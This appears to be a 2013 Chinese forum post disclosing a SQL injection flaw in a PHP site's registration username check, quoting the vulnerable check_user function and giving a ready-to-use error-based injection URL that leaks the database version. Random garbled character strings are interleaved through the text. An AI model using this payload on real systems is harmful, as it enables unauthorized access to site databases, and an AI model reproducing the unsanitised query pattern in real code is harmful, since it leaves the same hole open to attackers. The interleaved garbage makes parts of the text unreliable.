在注册的时候，输入用户名后台会验证用户名是否存在，当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。1 }: @, k$ q, k" Y6 t5 u, ^, W
# W( `8 F n2 @; F% ^2 |
/ [; }9 W. M! Z' T4 {
! \& Y8 j5 v$ J
* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值，这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
0 ?( n* V. `0 V8 o1 Q/ I9 R" }( d" P0 @
; f) Z+ I- a1 m. u+ R2 \9 g+ q& k9 p) G, R4 M- v! A b, C
Exp:# U s0 z/ w# a4 r3 z3 D& r
4 {7 }2 u) C/ d7 [ h+ h9 i: X3 I
j& [9 |, Z" s" A
# O. x* u6 N: h2 F, X/ A( w5 @& K
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 1 U' H7 C. v# p' t# @0 `& p2 s6 B
9 ` b! g# B/ w' {& n
|
发表于 2013-4-16 16:48:23
收藏
支持
反对